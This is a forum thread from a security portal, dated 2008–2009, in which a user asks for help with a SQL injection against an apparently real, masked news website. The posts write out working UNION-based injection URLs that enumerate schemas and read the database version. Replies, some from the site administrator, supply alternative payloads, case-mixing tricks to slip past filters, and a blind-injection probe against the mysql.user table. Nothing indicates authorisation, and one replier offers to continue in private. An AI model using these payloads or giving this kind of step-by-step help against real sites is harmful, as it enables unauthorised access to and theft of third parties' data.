Waraxe IT Security Portal
Login or Register
November 6, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 101
Members: 0
Total: 101
Full disclosure
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
APPLE-SA-10-28-2024-3 macOS Sequoia 15.1
APPLE-SA-10-28-2024-2 iOS 17.7.1 and iPadOS 17.7.1
APPLE-SA-10-28-2024-1 iOS 18.1 and iPadOS 18.1
Open Redirect / Reflected XSS - booked-schedulerv2.8.5
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> SQL Injection troubles : SELECT command denied
Post new topicReply to topic View previous topic :: View next topic
SQL Injection troubles : SELECT command denied
PostPosted: Mon Oct 20, 2008 9:19 pm Reply with quote
pinkman
Regular user
Regular user
Joined: Oct 21, 2008
Posts: 5




Hi all,

I've got some troubles with a sql injection :
Code:

http://**/homepage-liste.php?rubrique=-1+AND+1=0+UNION+SELECT+ALL+1,2,3,4,5,group_concat(schema_name),7,8,9,10,11,12,13,14+from+information_schema.schemata/*


It says :
Code:

SELECT command denied to user '***_actualites'@'localhost' for table 'schemata'



NB : the columns 6 and 7 are vulnerable

The version of mysql is 4 and I had to use unhex(hex(@@version))
Code:

homepage-liste.php?rubrique=-1+AND+1=0+UNION+SELECT+ALL+1,2,3,4,5,unhex(hex(@@version)),7,8,9,10,11,12,13,14/*


which give :
Code:
4.1.11-Debian_4-log



Another strange thing that I do not understand :

Code:
http://***actualites/homepage-liste.php?rubrique=-1+AND+1=0+UNION+SELECT+ALL+1,2,3,4,5,6,7,8,9,10,11,12,13,14+from%20admin/*


The answer :
Code:

Table '***_actualites.admin' doesn't exist



So my questions are :

1.How do I bypass this restriction ?
2.Do I Have to use Blind SQL INJECTION because of the mysql 4 ?
3.If I had to use unhex(hex(@@version)), are the sql injection code should had been in hex(sqlcode) ?


NB : The following papers I use : http://milw0rm.com/papers/225

Thanks
View user's profile Send private message
PostPosted: Mon Oct 20, 2008 11:00 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Try "information_schema.tables", it should be accessible.
And if you use UNHEX(HEX(@@version)), then result is plaintext, not hex-encoded.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Oct 21, 2008 11:30 am Reply with quote
pinkman
Regular user
Regular user
Joined: Oct 21, 2008
Posts: 5




That doesn't work Sad
Code:
http://****/actualites/homepage-liste.php?rubrique=-1+AND+1=0+UNION+SELECT+ALL+1,2,3,4,5,group_concat(schema_table),7,8,9,10,11,12,13,14+from+information_schema.tables/*


Which give the same things :
Code:
SELECT command denied to user '***_actualites'@'localhost' for table 'tables'


What I think is that the user doesn't have the rights/permissions to use the commande SELECT.
So in this case how could I do?

Thanks
View user's profile Send private message
PostPosted: Tue Oct 21, 2008 11:54 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Try this:

Code:

http://****/actualites/homepage-liste.php?rubrique=-1+UNION+SELECT+1,2,3,4,5,table_name,7,8,9,10,11,12,13,14+FROM+information_schema.tables+LIMIT+1,1/*
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Oct 22, 2008 4:30 pm Reply with quote
pinkman
Regular user
Regular user
Joined: Oct 21, 2008
Posts: 5




Still doesn't work


Code:

SELECT command denied to user '***_actualites'@'localhost' for table 'tables'

View user's profile Send private message
PostPosted: Wed Oct 22, 2008 6:09 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




OK, my mistake ... i should have realized before, that you have mysql version < 5.x, so no information_schema here ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Oct 22, 2008 10:15 pm Reply with quote
pinkman
Regular user
Regular user
Joined: Oct 21, 2008
Posts: 5




Yep, that's the bad thing.
So I have to use Blind SQL Technics.
But there is still one last question ; why the user can't use the SELECT SQL command?
View user's profile Send private message
PostPosted: Tue Feb 10, 2009 5:26 pm Reply with quote
sangteamtham
Beginner
Beginner
Joined: Feb 10, 2009
Posts: 1




Change sth like
UnIon SelECT **** FrOm informtion_schema.tables--
or /*
View user's profile Send private message
PostPosted: Tue Feb 10, 2009 6:04 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




sangteamtham wrote:
Change sth like
UnIon SelECT **** FrOm informtion_schema.tables--
or /*


It's mysql ver. < 5.0 with no information_schema ...
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Tue Feb 10, 2009 6:10 pm Reply with quote
ingh1pped
Advanced user
Advanced user
Joined: Dec 13, 2008
Posts: 88




go with blind :
http://****/actualites/homepage-liste.php?rubrique=1 and (SELECT 1 from mysql.user limit 0,1)=1
and check if the page is regular loaded. try to change mysql.user with other table that you know exist..

try this.. or send me your link in pm.
View user's profile Send private message
SQL Injection troubles : SELECT command denied
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.050 Seconds